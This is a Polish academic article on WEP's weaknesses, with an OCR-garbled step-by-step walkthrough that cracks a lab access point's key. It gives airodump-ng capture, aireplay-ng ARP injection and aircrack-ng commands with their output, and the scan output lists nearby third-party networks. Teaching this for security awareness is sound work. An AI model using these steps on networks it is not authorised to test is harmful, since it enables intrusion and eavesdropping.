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Streszczenie
Celem artykulu jest wykazanie niedoskonatosci protokotu zabezpieczajacego WEP
stosowanych w sieciach WiFi. Pokazano, jak za pomoca ogolnie dostgpnych narz¢dzi mozna
ztamac hasto dostepowe.

Summary

The purpose of this article is to show imperfections WEP security protocol used in WiFi net-
works. Shown how to use widely available tools can crack a password. In using this type of securi-
ty password power has no special meaning, because the appropriate amount of captured packets
allows for finding the encryption key.

Wstep

Korzystanie z zasobow sieciowych z wykorzystaniem technologii bez-
przewodowej opartej na protokole 802.11 to juz codzienny standard. Uzyt-
kownicy korzystajacy z takiego rozwigzania korzystajg z ushug, jakie daje
wspotczesny Internet. Dostep do wielu takich ustug, wymaga podania osobistych
danych jak login czy hasto. Czy sa one odpowiednio dobrze chronione, aby
nasze dane nie wyciekly na zewnatrz? Powszechnie dostgpne sa routery
oferujace miedzy innymi protokot WEP*. Czy wybbr takiego zabezpieczenia to
dobry wybor? Jakie zagrozenia za sobg niesie wykorzystanie takiego
rozwigzania? Przeciez fale elektromagnetyczne wykorzystywane do komuni-
kacji sg ogolnodostepne w odlegto$ci kilku/kilkunastu metréw od komuni-
kujacych si¢ urzadzen. Latwo jest monitorowaé ruch powietrzny z wy-
korzystaniem zwyktej karty sieciowej pracujacej w trybie monitora. Zapewne

! A.S. Tanenbaum, D.J. Wetherall, Sieci komputerowe, wyd. V, Helion, Gliwice 2012; K.R.
Fall, W.R. Stevens, TCP/IP od srodka. Protokoty, wyd. 11, Helion, Gliwice 2013.
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nikt nie chciatby, aby obca osoba przejeta w taki sposéb login i hasto np. do
banku, czy do serwera pocztowego, ani tez samej przesytanej tresci. Poniewaz
samej komunikacji nie da si¢ w zaden sposob zabezpieczy¢, dlatego jednym ze
sposobdw na bezpieczng transmisj¢ jest szyfrowanie danych. Ponizej oméwiono
szyfrowanie WEP stosowane w tej technologii. Jednocze$nie wykazano, Ze
w przypadku metod stosowanych w dalszej cze$ci artykutu jest mozliwe
ztamanie takiego zabezpieczenia.

1. Szyfrowanie WEP /Wired Equivalent Privacy/

Protokot IEEE 802.11 WEP? zapewnia uwierzytelnianie i szyfrowanie danych
pomiedzy hostem, a punktem dostgpowym AP wykorzystujac przy tym wspolny
40-bitowy klucz symetryczny znany zaroéwno jednej, jak i drugiej stronie.
W celu odkodowania wiadomosci odbiorca musi uzy¢ identycznego strumienia
do tego, ktory zostal uzyty do zaszyfrowania wiadomosci. Podczas szyfrowania
metodg RC4 zostaje wykorzystana operacja roznicy symetrycznej XOR.
Uzgadnianie wartosci klucza nastgpuje bez wykorzystania metody transmisyjnej.
Nie ma zatem potrzeby uzgadniania definicji algorytmu zarzadzania kluczem
szyfrujacym. Do tego klucza dolaczany jest 24-bitowy wektor IV. Za pomocs tej
pary wektorow jest tworzony 64-bitowy klucz, ktory jest wykorzystywany do
szyfrowania pojedynczej ramki. Proces uwierzytelniania odbywa si¢ poprzez
zazadanie uwierzytelnienia hosta przez AP. Ten odpowiada na zadanie
uwierzytelnienia 128-bitowym jednorazowym identyfikatorem. Z kolei host
szyfruje identyfikator symetrycznym kluczem znanym réwniez AP. AP
odszyfrowuje wiadomos¢. Kazda wysytana ramka zawiera inna warto$¢ 1V, co
powoduje, ze szyfrowana jest innym 64-bitowym kluczem. Wartos¢ IV
dotagczana do ramki jest tekstem jawnym. Samo szyfrowanie przebiega na
obliczeniu 4-bajtowego kodu CRC?® z treici ramki i zaszyfrowaniu za pomoca
strumieniowego algorytmu RC4, ktory tworzy strumien z wykorzystaniem 64-
bitowych kluczy do zaszyfrowania kolejnych ramek i ich kodéw CRC
wykorzystujac do tego operacje XOR.

Stabos¢ szyfrowania WEP polega na tym, ze do szyfrowania z uzyciem
algorytmu RC4 64-bitowa warto$¢ klucza nie powinna by¢ wykorzystywana
wigcej niz 1 raz. Idea wykorzystujaca wykorzystanie algorytmu RC4 w
szyfrowaniu WEP zaktada, powoduje, ze tak nie jest. Dowiedziono, ze dla
wybranego klucza istnieje 2°24 niepowtarzalnych kluczy, a co za tym idzie
wystepuje 99% prawdopodobienstwo wystgpienia tego samego klucza w 12000

2 A.S. Tanenbaum, D.J. Wetherall, Sieci...
3B, Komar, Administracja sieci TCP/IP dla kazdego, Helion, Gliwice 2000; K.R. Fall, W.R.
Stevens, TCP/IP od...
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transmitowanych ramek, co przy obecnych przepustowosciach sieci jest
warto$ciami sekundowymi.

2. Omijanie zabezpieczenia wykorzystujacego protokot WEP

Stosujac ogdlnodostepne darmowe narzgdzia mozna przytaczy¢ si¢ do punk-
tu dostepowego stosujacego jako zabezpieczenie protokot WEP.

W tym przyktadzie do realizacji podanego nizej zadania wykorzystano sys-
tem operacyjny Linux”.

Aby zlokalizowa¢ taki AP nalezy przelaczy¢ tryb pracy karty sieciowej
W tryb monitor mode, a nastgpnie za pomoca polecenia airodump-ng przejrzeé
ruch sieciowy generowany przez urzadzenia wykorzystujace do komunikacji
protokot 802.11. Wynik dziatania polecenia pokazano na rysunku 1.

CH 1 ][ Elapsed: 5 mins ][ 2013-12-04 10:25

BSSID PWR Beacons #Data, #/s CH MB  ENC CIPHER AUTH ESSID
00:0E:2E:F9:96:C8 -51 18 2 0 11 54e WEP WEP labtest
F8:1A:67:EE:32:90 -41 539 27 0 6 54e. OPN Boski
Internet
00:0C:E6:00:1D:00 -51 35 24 0 6 54e. WPA TKIP MGT eduroam
5C:B5:24:08:70:FF =52 78 38 0 11 54 . WPA2 CCMP PSK Ups! Error!
DS
08:60:6E:BC:67:20 =57 84 9 0 11 54e WPA2 CCMP PSK WIiM-wlan
00:0C:E6:00:14:00 -62 59 268 0 6 54e. WPA TKIP MGT eduroam
00:19:E0:10:1C:40 -63 21 0 0 3 54 . WPA TKIP PSK Olimp
00:25:9C:4B:56:28 =63 18 171 0 1 54 WPA2 CCMP PSK sala 03
00:0C:42:23:C4:6E -72 3 0 0 5 54 . OPN
algo.radom.pl
08:86:3B:5D:C9:82 =72 2 0 0 1 54e WPA2 CCMP PSK PHINANCE
BSSID STATION PWR Rate Lost Frames Probe
(not associated) 64:66:B3:F1:00:21 -63 0 -1 0 2
(not associated) 64:A7:69:85:12:DF -69 0 -1 o] 2 dom
F8:1A:67:EE:32:90 9C:4E:36:2F:7B:C4 -30 0 - 6e 0 35 Boski Internet
F8:1A:67:EE:32:90 90:A4:DE:77:21:59 -40 0 -1 0 27
F8:1A:67:EE:32:90 24:FD:52:F1:5E:E1 -61 lle- 1 0 18 Boski Internet
00:0C:E6:00:1D:00 00:13:02:4B:20:7C -47 0 -24e 0 3
00:0C:E6:00:1D:00 40:BO:FA:81:5D:CB -55 36e- 6 0 31
00:0C:E6:00:1D:00 04:46:65:D5:DD:DC =70 0 -1 0 13 1LT18i,eduroam
5C:B5:24:08:70:FF 64:27:37:A2:70:75 =56 0 -1 0 43 eduroam
00:0C:E6:00:14:00 78:1F:DB:EA:3A:29 -1 le- 0 0 226
00:0C:E6:00:14:00 1C:65:9D:53:EF:42 -73 5e- 1 0 38 eduroam
00:0C:E6:00:14:00 F8:DB:7F:98:A3:99 -60 0 - le 0 8 eduroam
00:19:E0:10:1C:40 64:70:02:78:CA:2D -60 0 -1 0 1
00:25:9C:4B:56:28 90:A4:DE:8C:76:5E -28 0 -36 282 47
00:25:9C:4B:56:28 20:54:76:23:F6:E6 -38 18 - 6 27 34
00:25:9C:4B:56:28 24:FD:52:EF:E5:44 -45 5 -36 225 62 sala 03
00:25:9C:4B:56:28 44:6D:57:83:B0:9A -45 0 -1 0 3

Rysunek 1. Wynik dzialania polecenia airodump-ng

4 C. Negus, Linux. Biblia. Ubuntu, Fedora, Debian i 15 innych dystrybucji, Helion, Gliwice
2012.
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Na szczeg6lng uwage zastuguje punkt dostepowy rozglaszajacy obecnos¢
sieci labtest, gdyz komunikacja z tym AP nastgpuje z uzyciem protokotu WEP.
Aby uzyska¢ wiecej informacji nalezy nieco zmodyfikowaé uzycie polecenia
airodump do postaci :

airodump-ng --bssid 00:0E:2E:F9:96:C8 --channel 11 --
write WEPWrite monO

— bssid identyfikuje punkt dostepowy uzywajac do tego adresu fizycznego
urzadzenia,

— channel 11 przetacza tryb pracy na kanal 11, czyli czestotliwos$¢ /wcezedniej
karta pracowala w trybie sickanym obstugujac wszystkie kanaty /tryby//,

— write — ta dyrektywa powoduje, Ze cata komunikacja jest zapisywana na dysku,
co pozwala na dalszg analize zawartos$ci tresci komunikacji, ktéra moze by¢
szczegolnie interesujgca w przypadku poznania klucza WEP. Znajomo$¢ tego
klucza pozwoli odszyfrowa¢ komunikacje. Do analizy przechwyconych
pakietow wygodnie jest uzywac narzedzia Wireshark.

root@bt:~# airodump-ng --bssid 00:0E:2E:F9:96:C8 --channel 11 --write
WEPWrite mon0

CH 11 ][ Elapsed: 3 mins ][ 2013-12-04 11:01

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER
AUTH ESSID

00:0E:2E:F9:96:C8 -51 0 1911 65582 369 11 54e WEP WEP

OPN labtest
BSSID STATION PWR Rate Lost Frames Probe

00:0E:2E:F9:96:C8 C4:85:08:3D:8A:42 0 le- 1 471 163755

Rysunek 2. Wynik dzialania polecenia airodump-ng z podlaczonym klientem

2.1. Reprodukcja dodatkowych pakietow

Do skutecznego odszukania hasta potrzebna jest odpowiednia ilo§¢ danych.
Nie mozna jednak okresli¢ jednoznacznie, ile pakietow jest niezbedne do tego
procesu. Jesli jest ona zbyt mata, poniewaz akurat klient nie korzysta zbyt
intensywnie z sieci, mozna za pomocg polecenia aireplay-ng wygenerowaé
dodatkowy ruch w sieci pobierajgc oryginalne przechwycone pakiety i wstrzy-
kujac je ponownie symulujgc odpowiedzi na zgdania ARP.

root@bt:~# aireplay-ng -3 -b 00:0E:2E:F9:96:C8 -h
C4:85:08:3D:8A:42 mon0
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— parametr -3 wystepujacy w poleceniu powoduje powtarzanie pakietow ARP,

— parametr —b pozwala na okre$lenia identyfikatora bssid sieci,

— parametr —a pozwala na okreslenie MAC adresu klienta, pod ktérego nalezy
si¢ podszy¢ generujac ruch ARP za pomoca polecenia aireplay-ng. Adres
klienta mozna zauwazy¢ na rysunku 2 pod nagtowkiem STATION.

X root@bt: ~

rI

Rysunek 3. Wstrzykiwanie pobranych pakietow ARP ponownie do sieci za
pomocg polecenia aireplay-ng

2.2. Zapis na dysku przechwyconych pakietéw

Rezultatem zastosowanego polecenia airodump jest pojawienie si¢ na dysku
plikéw z zapisem przechwyconej transmisji z wybranego punktu dostgpowego.
Pliki zapisane sa w kilku formatach gotowych od razu do wykorzystania przez
programy odnajdujace hasto. Do naszego zadania odpowiedni jest plik

WEPWrite-02.cap

root@bt:~# 1s
WEPart.docx
WEPart.odt
WEPlinksys-01

WEP*

.cap
WEPlinksys-01.
WEPlinksys-01.
WEPlinksys-01.

csv
kismet.csv

kismet.netxml

WEPWrite-01l.cap

root@bt:~#

WEPWrite-01.
WEPWrite-01.
WEPWrite-01.
WEPWrite-02.
WEPWrite-02.
WEPWrite-02.
WEPWrite-02.

csv
kismet.csv
kismet.netxml
cap

csv
kismet.csv
kismet.netxml

Rysunek 4. Wynik dzialania polecenia airodump-ng
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3. Ztamanie klucza szyfrowania

Majac zebrang odpowiednio duza liczbe pakietow mozna wykorzystaé
polecenie aircrack-ng do ztamania hasta. Wykorzystanie zebranych danych wraz
z poleceniem arirack-ng pozwoli na uruchomienie procesu poszukiwania klucza.

root@bt:~# aircrack-ng WEPWrite-02.cap

Gdy zebrana ilo$¢ danych zapisana w pliku WEPWrite-02.cap jest
wystarczajaca, nastepuje odnalezienie hasta.

Na rysunku 5 przedstawiono wynik dziatania polecenia, na ktorym jest
zaprezentowane szukane hasto.

A v X root@bt: ~
File Edit View Terminal Help
:~# aircrack-ng WEPWrite-82.cap
Opening WEPWrite-62.cap
Read 281655 packets.
# BSSID ESSID Encryption
1 00:0E:2E:F9:96:C8 labtessy EAPOLANERF(66713 Vs )

Choosing first network as target.

Opening WEPWrite-62.cap

Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 68936 ivs.
KEY FOUND! [ 61:62:63:64:65 ] (ASCII: abcde )
Decrypted correctly: 1680%

Rysunek 5. Wynik dzialania polecenia aricrack-ng.

Whnioski

Stosowanie zabezpieczania WEP w sieci bezprzewodowej nie zapewnia
bezpieczenstwa na oczekiwanym poziomie. Zebranie odpowiedniej liczby pakie-
tow transmisji pomig¢dzy stacjg klienckg a punktem dostgpowym nie wymaga
specjalnego wysitku, aby zapewni¢ sukces w zdobyciu hasta dostepowego. Wy-
starczy, aby intruz znajdowal si¢ w zasiggu dziatania sygnatu AP. Co gorsza,
znajomo$¢ hasta nie tylko pozwala na dostep do AP i zasobow sieciowych, do
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ktorych jest podlaczona, ale takze przejrzenie i analiz¢ transmitowanych tresci
zapisanych na dysku migdzy AP a klientem. OczywisScie zabezpieczenie spelnia
swojg rolg dla zwyktych uzytkownikow, jednak w przypadku oséb o podwyz-
szonych kwalifikacjach mozna mowi¢ o braku zabezpieczenia.

* * %

Autor przedstawia publikacj¢ w celach edukacyjnych dla osob zainteresowanych
zagadnieniami bezpieczenstwa, jak i 0sob administrujacych sieciami komputerowymi
W celu uswiadomienia im niedoskonatos$ci stosowanych rozwiazan.

Autor nie ponosi odpowiedzialno$ci za wykorzystywanie przedstawionej wiedzy do
celéw niezgodnych z prawem.

Bibliografia

Fall K.R., Stevens W.R., TCP/IP od srodka. Protokoty, wyd. Il, Helion, Gliwice 2013.

Komar B., Administracja sieci TCP/IP dla kazdego, Helion, Gliwice 2000.

Negus Ch., Linux. Biblia. Ubuntu, Fedora, Debian i 15 innych dystrybucji, Helion, Gliwice 2012.
Tanenbaum A.S., Wetherall D.J., Sieci komputerowe, wyd. V, Helion, Gliwice 2012.

149





